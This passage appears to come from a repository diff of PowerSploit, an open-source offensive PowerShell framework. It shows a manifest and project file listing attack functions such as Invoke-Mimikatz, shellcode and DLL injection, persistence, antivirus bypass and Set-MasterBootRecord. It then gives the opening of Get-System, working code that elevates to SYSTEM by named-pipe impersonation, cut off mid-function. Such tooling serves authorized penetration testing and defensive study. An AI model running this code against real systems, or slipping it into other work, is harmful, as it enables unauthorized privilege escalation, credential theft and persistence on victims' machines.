'Get-NetFileServer',
'Get-NetForest',
'Get-NetForestCatalog',
'Get-NetForestDomain',
'Get-NetForestTrust',
'Get-NetGPO',
'Get-NetGPOGroup',
'Get-NetGroup',
'Get-NetGroupMember',
'Get-NetLocalGroup',
'Get-NetLoggedon',
'Get-NetOU',
'Get-NetProcess',
'Get-NetRDPSession',
'Get-NetSession',
'Get-NetShare',
'Get-NetSite',
'Get-NetSubnet',
'Get-NetUser',
'Get-ObjectAcl',
'Get-PathAcl',
'Get-Proxy',
'Get-RegistryAlwaysInstallElevated',
'Get-RegistryAutoLogon',
'Get-SecurityPackages',
'Get-ServiceDetail',
'Get-SiteListPassword',
'Get-System',
'Get-TimedScreenshot',
'Get-UnattendedInstallFile',
'Get-UnquotedService',
'Get-UserEvent',
'Get-UserProperty',
'Get-VaultCredential',
'Get-VolumeShadowCopy',
'Get-Webconfig',
'Install-ServiceBinary',
'Install-SSP',
'Invoke-ACLScanner',
'Invoke-CheckLocalAdminAccess',
'Invoke-CredentialInjection',
'Invoke-DllInjection',
'Invoke-EnumerateLocalAdmin',
'Invoke-EventHunter',
'Invoke-FileFinder',
'Invoke-MapDomainTrust',
'Invoke-Mimikatz',
'Invoke-NinjaCopy',
'Invoke-Portscan',
'Invoke-PrivescAudit',
'Invoke-ProcessHunter',
'Invoke-ReflectivePEInjection',
'Invoke-ReverseDnsLookup',
'Invoke-ServiceAbuse',
'Invoke-ShareFinder',
'Invoke-Shellcode',
'Invoke-TokenManipulation',
'Invoke-UserHunter',
'Invoke-WmiCommand',
'Mount-VolumeShadowCopy',
'New-ElevatedPersistenceOption',
'New-UserPersistenceOption',
'New-VolumeShadowCopy',
'Out-CompressedDll',
'Out-EncodedCommand',
'Out-EncryptedScript',
'Out-Minidump',
'Remove-Comments',
'Remove-VolumeShadowCopy',
'Restore-ServiceBinary',
'Set-ADObject',
'Set-CriticalProcess',
'Set-MacAttribute',
'Set-MasterBootRecord',
'Set-ServiceBinPath',
'Test-ServiceDaclPermission',
'Write-HijackDll',
'Write-ServiceBinary',
'Write-UserAddMSI'
)
# List of all modules packaged with this module.
ModuleList = @( @{ModuleName = 'PowerSploit'; ModuleVersion = '1.0.0.0'; GUID = '6753b496-d842-40a3-924a-0f09e248640c'},
@{ModuleName = 'AntivirusBypass'; ModuleVersion = '1.0.0.0'; GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'},
@{ModuleName = 'CodeExecution'; ModuleVersion = '1.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'},
@{ModuleName = 'Exfiltration'; ModuleVersion = '1.0.0.0'; GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'},
@{ModuleName = 'PETools'; ModuleVersion = '1.0.0.0'; GUID = 'd15059e2-8bd9-47ff-8bcd-b708ff90e402'},
@{ModuleName = 'Recon'; ModuleVersion = '1.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'},
@{ModuleName = 'ReverseEngineering'; ModuleVersion = '1.0.0.0'; GUID = 'cbffaf47-c55a-4901-92e7-8d794fbe1fff'},
@{ModuleName = 'ScriptModification'; ModuleVersion = '1.0.0.0'; GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'},
@{ModuleName = 'Persistence'; ModuleVersion = '1.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'}
)
ModuleList = @( @{ModuleName = 'AntivirusBypass'; ModuleVersion = '3.0.0.0'; GUID = '7cf9de61-2bfc-41b4-a397-9d7cf3a8e66b'},
@{ModuleName = 'CodeExecution'; ModuleVersion = '3.0.0.0'; GUID = 'a8a6780b-e694-4aa4-b28d-646afa66733c'},
@{ModuleName = 'Exfiltration'; ModuleVersion = '3.0.0.0'; GUID = '75dafa99-1402-4e29-b5d4-6c87da2b323a'},
@{ModuleName = 'Recon'; ModuleVersion = '3.0.0.0'; GUID = '7e775ad6-cd3d-4a93-b788-da067274c877'},
@{ModuleName = 'ScriptModification'; ModuleVersion = '3.0.0.0'; GUID = 'a4d86266-b39b-437a-b5bb-d6f99aa6e610'},
@{ModuleName = 'Persistence'; ModuleVersion = '3.0.0.0'; GUID = '633d0f10-a056-41da-869d-6d2f75430195'},
@{ModuleName = 'PrivEsc'; ModuleVersion = '3.0.0.0'; GUID = 'efb2a78f-a069-4bfd-91c2-7c7c0c225f56'} )
# List of all files packaged with this module
FileList = 'PowerSploit.psd1', 'PowerSploit.psm1'
PrivateData = @{
# Private data to pass to the module specified in RootModule/ModuleToProcess
# PrivateData = ''
PSData = @{
# HelpInfo URI of this module
# HelpInfoURI = ''
# Tags applied to this module. These help with module discovery in online galleries.
Tags = @('security','pentesting','red team','offense')
# Default prefix for commands exported from this module. Override the default prefix using Import-Module -Prefix.
# DefaultCommandPrefix = ''
# A URL to the license for this module.
LicenseUri = 'http://www.apache.org/licenses/LICENSE-2.0.html'
}
# A URL to the main website for this project.
ProjectUri = 'https://github.com/PowerShellMafia/PowerSploit'
}
}
}
+1 -1
View File
@@ -1 +1 @@
Get-ChildItem $PSScriptRoot | ? { $_.PSIsContainer } | % { Import-Module $_.FullName }
Get-ChildItem $PSScriptRoot | ? { $_.PSIsContainer -and !('Tests','docs' -contains $_.Name) } | % { Import-Module $_.FullName -DisableNameChecking }
+210
View File
@@ -0,0 +1,210 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" DefaultTargets="Build" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup>
<Configuration Condition=" '$(Configuration)' == '' ">Release</Configuration>
<SchemaVersion>2.0</SchemaVersion>
<ProjectGuid>6CAFC0C6-A428-4d30-A9F9-700E829FEA51</ProjectGuid>
<OutputType>Exe</OutputType>
<RootNamespace>PowerSploit</RootNamespace>
<AssemblyName>PowerSploit</AssemblyName>
<Name>PowerSploit</Name>
<ProjectHome />
</PropertyGroup>
<PropertyGroup Condition=" '$(Configuration)|$(Platform)' == 'Release|AnyCPU' ">
<DebugType>pdbonly</DebugType>
<Optimize>true</Optimize>
<OutputPath>bin\Release\</OutputPath>
<DefineConstants>TRACE</DefineConstants>
<ErrorReport>prompt</ErrorReport>
<WarningLevel>4</WarningLevel>
</PropertyGroup>
<ItemGroup>
<Compile Include="AntivirusBypass\AntivirusBypass.psd1" />
<Compile Include="AntivirusBypass\AntivirusBypass.psm1" />
<Compile Include="AntivirusBypass\Find-AVSignature.ps1" />
<Compile Include="AntivirusBypass\Usage.md" />
<Compile Include="CodeExecution\CodeExecution.psd1" />
<Compile Include="CodeExecution\CodeExecution.psm1" />
<Compile Include="CodeExecution\Invoke-DllInjection.ps1" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection.ps1" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL.sln" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\DemoDLL.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\DemoDLL.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\DemoDLL.vcxproj" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\DemoDLL.vcxproj.filters" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\dllmain.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\ReadMe.txt" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\stdafx.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\stdafx.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\targetver.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess.sln" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess.vcxproj" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess.vcxproj.filters" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\dllmain.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\ReadMe.txt" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\stdafx.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\stdafx.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\targetver.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe.sln" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\DemoExe_MDd.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\DemoExe_MDd.vcxproj" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\DemoExe_MDd.vcxproj.filters" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\ReadMe.txt" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\stdafx.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\stdafx.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\targetver.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\DemoExe_MD.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\DemoExe_MD.vcxproj" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\DemoExe_MD.vcxproj.filters" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\ReadMe.txt" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\stdafx.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\stdafx.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\targetver.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo.sln" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\ExeToInjectInTo.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\ExeToInjectInTo.vcxproj" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\ExeToInjectInTo.vcxproj.filters" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\ReadMe.txt" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\stdafx.cpp" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\stdafx.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\targetver.h" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\readme.txt" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x64\CallDllMain.asm" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x64\ExitThread.asm" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x64\GetFuncAddress.asm" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x64\LoadLibraryA.asm" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x86\CallDllMain.asm" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x86\ExitThread.asm" />
<Compile Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x86\GetProcAddress.asm" />
<Compile Include="CodeExecution\Invoke-Shellcode.ps1" />
<Compile Include="CodeExecution\Invoke-WmiCommand.ps1" />
<Compile Include="CodeExecution\Usage.md" />
<Compile Include="Exfiltration\Exfiltration.psd1" />
<Compile Include="Exfiltration\Exfiltration.psm1" />
<Compile Include="Exfiltration\Get-GPPPassword.ps1" />
<Compile Include="Exfiltration\Get-Keystrokes.ps1" />
<Compile Include="Exfiltration\Get-TimedScreenshot.ps1" />
<Compile Include="Exfiltration\Get-VaultCredential.ps1" />
<Compile Include="Exfiltration\Get-VaultCredential.ps1xml" />
<Compile Include="Exfiltration\Invoke-CredentialInjection.ps1" />
<Compile Include="Exfiltration\Invoke-Mimikatz.ps1" />
<Compile Include="Exfiltration\Invoke-NinjaCopy.ps1" />
<Compile Include="Exfiltration\Invoke-TokenManipulation.ps1" />
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser.sln" />
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser\LogonUser.cpp" />
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser\LogonUser.vcxproj" />
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser\LogonUser.vcxproj.filters" />
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser\ReadMe.txt" />
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser\stdafx.cpp" />
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser\stdafx.h" />
<Compile Include="Exfiltration\LogonUser\LogonUser\LogonUser\targetver.h" />
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\dllmain.cpp" />
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\logon.cpp" />
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\logon.vcxproj" />
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\logon.vcxproj.filters" />
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\ReadMe.txt" />
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\stdafx.cpp" />
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\stdafx.h" />
<Compile Include="Exfiltration\LogonUser\LogonUser\logon\targetver.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser.sln" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\dllmain.cpp" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFS.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFSParserDLL.cpp" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFSParserDLL.vcxproj" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFSParserDLL.vcxproj.filters" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFS_Attribute.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFS_Common.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFS_DataType.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\NTFS_FileRecord.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\ReadMe.txt" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\stdafx.cpp" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\stdafx.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParserDLL\targetver.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFS.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFSParser.cpp" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFSParser.vcxproj" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFSParser.vcxproj.filters" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFS_Attribute.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFS_Common.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFS_DataType.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\NTFS_FileRecord.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\ReadMe.txt" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\stdafx.cpp" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\stdafx.h" />
<Compile Include="Exfiltration\NTFSParser\NTFSParser\targetver.h" />
<Compile Include="Exfiltration\Out-Minidump.ps1" />
<Compile Include="Exfiltration\Usage.md" />
<Compile Include="Exfiltration\VolumeShadowCopyTools.ps1" />
<Compile Include="LICENSE" />
<Compile Include="Mayhem\Mayhem.psd1" />
<Compile Include="Mayhem\Mayhem.psm1" />
<Compile Include="Mayhem\Usage.md" />
<Compile Include="Persistence\Persistence.psd1" />
<Compile Include="Persistence\Persistence.psm1" />
<Compile Include="Persistence\Usage.md" />
<Compile Include="PowerSploit.psd1" />
<Compile Include="PowerSploit.psm1" />
<Compile Include="Privesc\PowerUp.ps1" />
<Compile Include="Privesc\Privesc.psd1" />
<Compile Include="Privesc\Privesc.psm1" />
<Compile Include="Privesc\README.md" />
<Compile Include="README.md" />
<Compile Include="Recon\Dictionaries\admin.txt" />
<Compile Include="Recon\Dictionaries\generic.txt" />
<Compile Include="Recon\Dictionaries\sharepoint.txt" />
<Compile Include="Recon\Get-ComputerDetails.ps1" />
<Compile Include="Recon\Get-HttpStatus.ps1" />
<Compile Include="Recon\Invoke-Portscan.ps1" />
<Compile Include="Recon\Invoke-ReverseDnsLookup.ps1" />
<Compile Include="Recon\PowerView.ps1" />
<Compile Include="Recon\README.md" />
<Compile Include="Recon\Recon.psd1" />
<Compile Include="Recon\Recon.psm1" />
<Compile Include="ScriptModification\Out-CompressedDll.ps1" />
<Compile Include="ScriptModification\Out-EncodedCommand.ps1" />
<Compile Include="ScriptModification\Out-EncryptedScript.ps1" />
<Compile Include="ScriptModification\Remove-Comments.ps1" />
<Compile Include="ScriptModification\ScriptModification.psd1" />
<Compile Include="ScriptModification\ScriptModification.psm1" />
<Compile Include="ScriptModification\Usage.md" />
<Compile Include="Tests\CodeExecution.tests.ps1" />
<Compile Include="Tests\PowerSploit.tests.ps1" />
<Compile Include="Tests\Privesc.tests.ps1" />
<Compile Include="Tests\Recon.tests.ps1" />
</ItemGroup>
<ItemGroup>
<Folder Include="AntivirusBypass\" />
<Folder Include="CodeExecution\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL\DemoDLL\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoDLL_RemoteProcess\DemoDLL_RemoteProcess\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MDd\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\DemoExe\DemoExe_MD\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\ExeToInjectInTo\ExeToInjectInTo\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x64\" />
<Folder Include="CodeExecution\Invoke-ReflectivePEInjection_Resources\Shellcode\x86\" />
<Folder Include="Exfiltration\" />
<Folder Include="Exfiltration\LogonUser\" />
<Folder Include="Exfiltration\LogonUser\LogonUser\" />
<Folder Include="Exfiltration\LogonUser\LogonUser\LogonUser\" />
<Folder Include="Exfiltration\LogonUser\LogonUser\logon\" />
<Folder Include="Exfiltration\NTFSParser\" />
<Folder Include="Exfiltration\NTFSParser\NTFSParserDLL\" />
<Folder Include="Exfiltration\NTFSParser\NTFSParser\" />
<Folder Include="Mayhem\" />
<Folder Include="Persistence\" />
<Folder Include="Privesc\" />
<Folder Include="Recon\" />
<Folder Include="Recon\Dictionaries\" />
<Folder Include="ScriptModification\" />
<Folder Include="Tests\" />
</ItemGroup>
<Import Project="$(MSBuildBinPath)\Microsoft.CSharp.targets" />
<Target Name="Build" />
</Project>
+22
View File
@@ -0,0 +1,22 @@

Microsoft Visual Studio Solution File, Format Version 12.00
# Visual Studio 14
VisualStudioVersion = 14.0.23107.0
MinimumVisualStudioVersion = 10.0.40219.1
Project("{F5034706-568F-408A-B7B3-4D38C6DB8A32}") = "PowerSploit", "PowerSploit.pssproj", "{6CAFC0C6-A428-4D30-A9F9-700E829FEA51}"
EndProject
Global
GlobalSection(SolutionConfigurationPlatforms) = preSolution
Debug|Any CPU = Debug|Any CPU
Release|Any CPU = Release|Any CPU
EndGlobalSection
GlobalSection(ProjectConfigurationPlatforms) = postSolution
{6CAFC0C6-A428-4D30-A9F9-700E829FEA51}.Debug|Any CPU.ActiveCfg = Release|Any CPU
{6CAFC0C6-A428-4D30-A9F9-700E829FEA51}.Debug|Any CPU.Build.0 = Release|Any CPU
{6CAFC0C6-A428-4D30-A9F9-700E829FEA51}.Release|Any CPU.ActiveCfg = Release|Any CPU
{6CAFC0C6-A428-4D30-A9F9-700E829FEA51}.Release|Any CPU.Build.0 = Release|Any CPU
EndGlobalSection
GlobalSection(SolutionProperties) = preSolution
HideSolutionNode = FALSE
EndGlobalSection
EndGlobal
+600
View File
@@ -0,0 +1,600 @@
function Get-System {
<#
.SYNOPSIS
GetSystem functionality inspired by Meterpreter's getsystem.
Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: PSReflect
.DESCRIPTION
Executes "getsystem" functionality similar to Meterpreter.
'NamedPipe' impersonation doesn't need SeDebugPrivilege but does create
a service, 'Token' duplications a SYSTEM token but needs SeDebugPrivilege.
NOTE: if running PowerShell 2.0, start powershell.exe with '-STA' to ensure
token duplication works correctly.
.PARAMETER Technique
The technique to use, 'NamedPipe' or 'Token'.
.PARAMETER ServiceName
The name of the service used with named pipe impersonation, defaults to 'TestSVC'.
.PARAMETER PipeName
The name of the named pipe used with named pipe impersonation, defaults to 'TestSVC'.
.PARAMETER RevToSelf
Reverts the current thread privileges.
.PARAMETER WhoAmI
Switch. Display the credentials for the current PowerShell thread.
.EXAMPLE
Get-System
Uses named impersonate to elevate the current thread token to SYSTEM.
.EXAMPLE
Get-System -ServiceName 'PrivescSvc' -PipeName 'secret'
Uses named impersonate to elevate the current thread token to SYSTEM
with a custom service and pipe name.
.EXAMPLE
Get-System -Technique Token
Uses token duplication to elevate the current thread token to SYSTEM.
.EXAMPLE
Get-System -WhoAmI
Displays the credentials for the current thread.
.EXAMPLE
Get-System -RevToSelf
Reverts the current thread privileges.
.LINK
https://github.com/rapid7/meterpreter/blob/2a891a79001fc43cb25475cc43bced9449e7dc37/source/extensions/priv/server/elevate/namedpipe.c
https://github.com/obscuresec/shmoocon/blob/master/Invoke-TwitterBot
http://blog.cobaltstrike.com/2014/04/02/what-happens-when-i-type-getsystem/
http://clymb3r.wordpress.com/2013/11/03/powershell-and-token-impersonation/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSAvoidUsingWMICmdlet', '')]
[CmdletBinding(DefaultParameterSetName = 'NamedPipe')]
param(
[Parameter(ParameterSetName = 'NamedPipe')]
[Parameter(ParameterSetName = 'Token')]
[String]
[ValidateSet('NamedPipe', 'Token')]
$Technique = 'NamedPipe',
[Parameter(ParameterSetName = 'NamedPipe')]
[String]
$ServiceName = 'TestSVC',
[Parameter(ParameterSetName = 'NamedPipe')]
[String]
$PipeName = 'TestSVC',
[Parameter(ParameterSetName = 'RevToSelf')]
[Switch]
$RevToSelf,
[Parameter(ParameterSetName = 'WhoAmI')]
[Switch]
$WhoAmI
)
$ErrorActionPreference = 'Stop'
# from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
function Local:Get-DelegateType
{
Param
(
[OutputType([Type])]
[Parameter( Position = 0)]
[Type[]]
$Parameters = (New-Object Type[](0)),
[Parameter( Position = 1 )]
[Type]
$ReturnType = [Void]
)
$Domain = [AppDomain]::CurrentDomain
$DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
$AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
$ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
$TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
$ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
$MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
$MethodBuilder.SetImplementationFlags('Runtime, Managed')
Write-Output $TypeBuilder.CreateType()
}
# from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
function Local:Get-ProcAddress
{
Param
(
[OutputType([IntPtr])]
[Parameter( Position = 0, Mandatory = $True )]
[String]
$Module,
[Parameter( Position = 1, Mandatory = $True )]
[String]
$Procedure
)
# Get a reference to System.dll in the GAC
$SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
$UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')
# Get a reference to the GetModuleHandle and GetProcAddress methods
$GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
$GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress')
# Get a handle to the module specified
$Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
$tmpPtr = New-Object IntPtr
$HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)
# Return the address of the function
Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
# performs named pipe impersonation to elevate to SYSTEM without needing
# SeDebugPrivilege
function Local:Get-SystemNamedPipe {
param(
[String]
$ServiceName = 'TestSVC',
[String]
$PipeName = 'TestSVC'
)
$Command = "%COMSPEC% /C start %COMSPEC% /C `"timeout /t 3 >nul&&echo $PipeName > \\.\pipe\$PipeName`""
Add-Type -Assembly System.Core
# create the named pipe used for impersonation and set appropriate permissions
$PipeSecurity = New-Object System.IO.Pipes.PipeSecurity
$AccessRule = New-Object System.IO.Pipes.PipeAccessRule('Everyone', 'ReadWrite', 'Allow')
$PipeSecurity.AddAccessRule($AccessRule)
$Pipe = New-Object System.IO.Pipes.NamedPipeServerStream($PipeName, 'InOut', 100, 'Byte', 'None', 1024, 1024, $PipeSecurity)
$PipeHandle = $Pipe.SafePipeHandle.DangerousGetHandle()
# Declare/setup all the needed API function
# adapted heavily from http://www.exploit-monday.com/2012/05/accessing-native-windows-api-in.html
$ImpersonateNamedPipeClientAddr = Get-ProcAddress Advapi32.dll ImpersonateNamedPipeClient
$ImpersonateNamedPipeClientDelegate = Get-DelegateType @( [Int] ) ([Int])
$ImpersonateNamedPipeClient = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ImpersonateNamedPipeClientAddr, $ImpersonateNamedPipeClientDelegate)
$CloseServiceHandleAddr = Get-ProcAddress Advapi32.dll CloseServiceHandle
$CloseServiceHandleDelegate = Get-DelegateType @( [IntPtr] ) ([Int])
$CloseServiceHandle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CloseServiceHandleAddr, $CloseServiceHandleDelegate)
$OpenSCManagerAAddr = Get-ProcAddress Advapi32.dll OpenSCManagerA
$OpenSCManagerADelegate = Get-DelegateType @( [String], [String], [Int]) ([IntPtr])
$OpenSCManagerA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenSCManagerAAddr, $OpenSCManagerADelegate)
$OpenServiceAAddr = Get-ProcAddress Advapi32.dll OpenServiceA
$OpenServiceADelegate = Get-DelegateType @( [IntPtr], [String], [Int]) ([IntPtr])
$OpenServiceA = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OpenServiceAAddr, $OpenServiceADelegate)
$CreateServiceAAddr = Get-ProcAddress Advapi32.dll CreateServiceA
